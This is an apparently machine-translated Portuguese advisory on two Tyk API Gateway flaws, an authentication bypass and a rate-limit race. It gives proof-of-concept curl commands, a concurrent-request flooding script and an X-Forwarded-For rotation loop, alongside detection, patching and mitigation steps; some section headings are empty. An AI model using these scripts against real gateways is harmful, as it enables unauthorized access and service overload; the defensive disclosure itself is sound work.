Tyk API Gateway CVE-2026: Bypass de autenticação e vulnerabilidades de limitação de taxa

Duas falhas críticas de segurança no gateway Tyk API – um desvio de validação de token de autenticação (CVE-2026-31872) e uma vulnerabilidade de evasão de limitação de cota/taxa (CVE-2026-31873) – permitem que invasores não autenticados acessem APIs protegidas e sobrecarreguem serviços de back-end. Todas as implantações Tyk auto-hospedadas que executam as versões 5.0–5.3 são afetadas. Os patches estão disponíveis em Tyk 5.3.5 e 5.4.0.

Visão geral da vulnerabilidade

Descobriu-se que o gateway Tyk API, uma popular plataforma de gerenciamento comercial e de código aberto API escrita em Go, contém duas vulnerabilidades críticas que afetam seu middleware de autenticação e subsistema de limitação de taxa. Divulgadas em 31 de março de 2026, essas falhas impactam versões auto-hospedadas do Tyk Gateway 5.0.x até 5.3.4 e decorrem de erros lógicos na avaliação da cadeia de middleware personalizada do Tyk e no rastreamento de cotas baseado em Redis.

As implantações do Tyk Cloud (SaaS) foram corrigidas silenciosamente em 30 de março de 2026. As organizações que executam o Tyk auto-hospedado — incluindo aquelas que usam o Tyk Operator no Kubernetes — devem atualizar manualmente.

CVE-2026-31872: Desvio do token de autenticação – aprofundamento técnico

Análise de causa raiz

CVE-2026-31872 é uma falha crítica no Tyk Cadeia de middleware de plug-in Go avaliação. Quando uma definição API configura um ponto final virtual e um token de autenticação política simultaneamente, o pipeline de processamento de solicitação do Tyk avalia o manipulador de endpoint virtual antes de concluir a validação do token. Se o endpoint virtual retornar um padrão de resposta HTTP específico — especificamente um 200 OK com corpo vazio — o middleware de autenticação marca a solicitação como pré-autenticada e a encaminha para o upstream sem verificar o token de portador fornecido.

A falha mora em gateway/middleware/virtual_endpoint.go, onde o Exec() método define uma chave de contexto compartilhada ctx.PreAuthenticated = true sob certas condições de resposta. Este sinalizador é então lido por gateway/middleware/auth_key.gode ProcessRequest() para validação de token de curto-circuito - um design que foi planejado para chamadas internas de serviço a serviço, mas pode ser acionado externamente.

CVSS v3.1 Detalhamento da pontuação

Configurações API afetadas

Nem toda implantação do Tyk é vulnerável. O bypass de autenticação só é acionado quando todos os três das seguintes condições estão presentes em uma definição API:

• O tipo de autenticação está definido como auth_token ou jwt
• Um terminal virtual é configurado para qualquer caminho dentro da mesma definição API
• A função JS do endpoint virtual retorna TykJsResponse com Code: 200 e um vazio ou nulo Body

Prova de Conceito de Exploração

A seguir, demonstramos uma exploração em duas etapas: primeiro acionar o endpoint virtual para envenenar o sinalizador de pré-autenticação e, em seguida, acessar imediatamente um endpoint protegido com um token inválido:

# Step 1: Trigger the virtual endpoint with an empty-body 200 response
# This poisons the PreAuthenticated flag in Tyk's shared request context
curl -i -X POST https://api.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "Content-Type: application/json" \
  -d '{}'

# Expected response from Step 1 (virtual endpoint processes before auth):
# HTTP/2 200
# (empty body — this triggers the vulnerability)

# Step 2: Immediately access any protected endpoint on the SAME API definition
# with ANY bearer token — validation is skipped due to PreAuthenticated flag
curl -i https://api.example.com/v1/admin/users \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -H "X-Request-ID: $(uuidgen)"

# Vulnerable response:
# HTTP/2 200
# {"users": [...]}   ← Full data returned without valid auth

# Automated scanner to identify vulnerable Tyk endpoints
for path in /v1/users /v1/admin /v1/data /api/internal; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer AAAA.BBBB.CCCC" \
    "https://api.example.com${path}")
  echo "$path -> HTTP $STATUS"
done

Exemplo de definição vulnerável da API do Tyk

O seguinte padrão de definição API na configuração JSON de Tyk aciona a vulnerabilidade. Se sua implantação contiver APIs que correspondam a esta estrutura, considere-se em risco até que seja corrigido:

// Vulnerable Tyk API definition (tyk-api-def.json)
{
  "auth": {
    "auth_header_name": "Authorization",
    "use_param": false
  },
  "use_keyless": false,
  "use_standard_auth": true,
  "extended_paths": {
    "virtual": [
      {
        "response_function_name": "myVirtualFunc",
        "function_source_type": "inline",
        "path": "virtual-endpoint",
        "method": "POST",
        // If this function returns {Code:200, Body:""} → triggers bypass
        "function_source_value": "function myVirtualFunc(req, session, spec) { return TykJsResponse({Code: 200, Body: ''}, session.meta_data); }"
      }
    ]
  }
}

CVE-2026-31873: Limitação de taxa e desvio de cota – aprofundamento técnico

Análise de causa raiz

CVE-2026-31873 é uma condição de corrida no Tyk's Cota baseada em Redis e limitação de taxa implementação. Quando Tyk processa solicitações simultâneas da mesma chave API, as operações de verificação e redução de cota são executadas em dois comandos Redis separados e não atômicos (GET seguido pela DECR). Um invasor que envia solicitações em simultaneidade suficientemente alta pode ler o mesmo valor de cota pré-decremento em várias goroutines, multiplicando efetivamente a contagem de solicitações permitidas pelo número de conexões simultâneas.

Esta é uma vulnerabilidade clássica TOCTOU (Time-of-Check, Time-of-Use). No código Go de Tyk (storage/storage.go, o GetRawKey + DecrementWithExpire caminho), não há Redis MULTI/EXEC transação ou WATCHbloqueio otimista baseado em em torno da lógica de verificação e decremento, permitindo que o estado da cota seja lido como obsoleto sob carga simultânea.

Prova de Conceito de Exploração

O script bash a seguir usa GNU paralelo para disparar solicitações simultâneas 500 em um endpoint protegido por Tyk configurado com uma cota req/min 50. Numa instância vulnerável, a maioria terá sucesso apesar do limite:

#!/bin/bash
# CVE-2026-31873 — Tyk Rate Limit TOCTOU Race PoC
# Fires 500 concurrent requests to exhaust quota without triggering limits

TARGET="https://api.example.com/v1/search"
API_KEY="tyk-valid-api-key-here"
CONCURRENCY=500

echo "Launching $CONCURRENCY concurrent requests..."

seq 1 $CONCURRENCY | parallel -j $CONCURRENCY \
  'curl -s -o /dev/null -w "%{http_code}\n" \
    -H "Authorization: '"$API_KEY"'" \
    "'"$TARGET"'?q=test&page={}"' \
  | sort | uniq -c

# Expected on patched system:
# 449  429   (rate limited)
#  51  200   (within quota)

# Expected on vulnerable system:
# 498  200   (bypass successful — almost all requests pass)
#   2  429   (only slowest requests get rate-limited)

Bypass adicional por manipulação de cabeçalho

Em implantações Tyk onde enable_ip_whitelisting é falso e o gateway confia X-Forwarded-For, a chave limitadora de taxa também pode ser fragmentada girando o cabeçalho IP de origem. Isto se soma à corrida TOCTOU por um desvio quase total da cota:

# Combine X-Forwarded-For rotation with concurrent requests
# Each unique IP gets its own rate limit bucket in Tyk's default config
for i in $(seq 1 1000); do
  FAKE_IP="10.$((RANDOM % 256)).$((RANDOM % 256)).$((RANDOM % 256))"
  curl -s -o /dev/null \
    -H "Authorization: tyk-valid-api-key-here" \
    -H "X-Forwarded-For: $FAKE_IP" \
    "https://api.example.com/v1/data" &
  (( i % 100 == 0 )) && wait
done
wait

Tyk Cloud vs. Auto-hospedado: comparação de impacto

Detecção: Identificando Exploração em Seu Ambiente

Análise de log do gateway Tyk

Tyk registra decisões de autenticação em JSON estruturado. Os comandos a seguir identificam solicitações que ignoraram a validação de token (autenticadas sem uma chave válida) e anomalias de esgotamento de cota:

# Find requests where auth succeeded but no API key was validated
# These appear as requests with empty or placeholder auth_id fields
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.level == "info" and .msg == "Proxy request") | select(.auth_id == "" or .auth_id == null)' \
  | jq '{time: .time, path: .path, ip: .remote_addr, auth_id: .auth_id}'

# Detect quota bypass: requests that succeeded after quota should be exhausted
# Look for API keys with >N successful requests in the last minute
cat /var/log/tyk/tyk.log \
  | jq -r 'select(.code == 200) | .auth_id' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 100 { print "POTENTIAL_BYPASS: " $2 " — " $1 " successful requests" }'

# Check Tyk version via the gateway HTTP API
curl -s http://localhost:8080/hello | jq '.version'

Verificação do estado da cota Redis

Inspecione diretamente o Redis para verificar se os contadores de limitação de taxa estão sendo incrementados corretamente:

# Connect to your Tyk Redis instance and inspect quota keys
redis-cli -h your-redis-host -p 6379 -a yourpassword

# List all rate limit keys for a specific API key
KEYS "quota-*your-api-key-prefix*"

# Check a specific quota key's current value and TTL
GET "quota-your-api-key-hash"
TTL "quota-your-api-key-hash"

# If the value is higher than your configured quota, exploitation may have occurred
# Example: if quota is 100/min but counter shows 450, investigate immediately

Guia de correção

Etapa 1: Atualizar Tyk Gateway

A correção definitiva é atualizar para Tyk Gateway 5.3.5 ou 5.4.0. Ambas as versões incluem um pipeline Redis atômico para operações de cota e uma reescrita do tratamento do sinalizador de pré-autenticação do endpoint virtual.

# Docker — upgrade to patched image
docker pull tykio/tyk-gateway:v5.3.5
docker stop tyk-gateway && docker rm tyk-gateway
docker run -d --name tyk-gateway \
  -v $(pwd)/tyk.conf:/opt/tyk-gateway/tyk.conf \
  -v $(pwd)/apps:/opt/tyk-gateway/apps \
  -p 8080:8080 \
  tykio/tyk-gateway:v5.3.5

# Kubernetes via Helm — update Tyk Operator
helm repo add tyk-helm https://helm.tyk.io/public/helm/charts/
helm repo update
helm upgrade tyk-gateway tyk-helm/tyk-gateway \
  --namespace tyk \
  --set gateway.image.tag=v5.3.5 \
  --reuse-values

# Binary upgrade on Linux
curl -L https://github.com/TykTechnologies/tyk/releases/download/v5.3.5/tyk-linux-amd64-v5.3.5.tar.gz \
  -o tyk-v5.3.5.tar.gz
tar -xzf tyk-v5.3.5.tar.gz
sudo systemctl stop tyk-gateway
sudo cp tyk /opt/tyk-gateway/tyk
sudo systemctl start tyk-gateway

# Verify version after upgrade
curl -s http://localhost:8080/hello | jq '.version'
# Expected: "v5.3.5" or "v5.4.0"

Etapa 2: Desativar endpoints virtuais em APIs protegidas por autenticação (mitigação provisória)

Se a atualização imediata não for possível, desative os terminais virtuais em qualquer definição API que use autenticação de token. Edite a definição API JSON e defina a lista de caminhos virtuais como vazia:

// In your Tyk API definition file — remove or empty the virtual endpoints list
{
  "extended_paths": {
    "virtual": []  // ← Set to empty array to disable virtual endpoints
  }
}

# Apply via Tyk Dashboard API
curl -X PUT https://your-tyk-dashboard:3000/api/apis/{api-id} \
  -H "authorization: your-dashboard-user-key" \
  -H "Content-Type: application/json" \
  -d @patched-api-def.json

# Or reload via hot-reload if using file-based config
kill -SIGHUP $(pgrep tyk)

Etapa 3: Reforçar a limitação de taxa com operações atômicas no Redis (CVE-2026-31873)

Até que você possa atualizar, habilite o experimental do Tyk enable_redis_rolling_limiter opção, que usa um pipeline atômico com script Lua no Redis e não é vulnerável à corrida TOCTOU:

// tyk.conf — enable atomic rolling rate limiter (available in Tyk 5.0+)
{
  "enable_redis_rolling_limiter": true,
  "enable_sentinel_rate_limiter": false,
  "drl_notification_payload_size": 0,

  // Also restrict trusted IPs for X-Forwarded-For to block IP rotation bypass
  "allowed_ips": ["10.0.1.10", "10.0.1.11"],
  "enable_ip_whitelisting": true
}

Etapa 4: Validar correção

# Test 1: Verify auth bypass is fixed — should return 401
curl -i -X POST https://your-gateway.example.com/v1/virtual-endpoint \
  -H "Authorization: Bearer INVALID_TOKEN_AAAA" \
  -d '{}'
# Expected on patched system: HTTP/2 401 Unauthorized

# Test 2: Verify rate limiting enforces correctly
for i in $(seq 1 60); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer your-valid-key" \
    "https://your-gateway.example.com/v1/test")
  echo "Request $i: HTTP $CODE"
done
# After your quota limit, you should consistently see 429 Too Many Requests

Recomendações adicionais de endurecimento

1. Habilite o TLS mútuo (mTLS) do Tyk para conexões upstream: Mesmo que o gateway esteja comprometido, os serviços de back-end protegidos por mTLS exigem um certificado de cliente válido, fornecendo uma camada adicional de proteção que os invasores não podem ignorar facilmente.
2. Use a limitação de taxa de IP integrada do Tyk no nível da rede: Configurar max_conn_time e limites de taxa de conexão em seu proxy reverso (nginx/Envoy) na frente do Tyk para limitar a simultaneidade disponível para exploração.
3. Audite todas as definições de API para combinações de endpoint virtual + autenticação: Execute a exportação Tyk Dashboard API e grep para APIs com ambos use_standard_auth: true e um não-vazio virtual variedade.
4. Ative as análises do Tyk e defina alertas de cota: Configure o Tyk Pump para encaminhar análises para seu SIEM (Splunk, Elastic). Defina alertas para qualquer chave API que exceda 150% de sua cota configurada em um intervalo de minutos contínuos.
5. Gire todas as chaves API emitidas antes da data do patch: Se ocorreu exploração, qualquer chave usada em um endpoint vulnerável pode ter sido observada por um invasor. A rotação de chaves em massa do Tyk Dashboard pode ser programada por meio do Admin API.

# Audit script: find all vulnerable API definitions (virtual + auth combo)
curl -s "https://your-dashboard:3000/api/apis?p=-1" \
  -H "authorization: your-dashboard-key" \
  | jq -r '.apis[] | select(
      .api_definition.use_standard_auth == true and
      (.api_definition.extended_paths.virtual | length > 0)
    ) | "VULNERABLE: " + .api_definition.name + " (" + .api_definition.api_id + ")"'

Cronograma de divulgação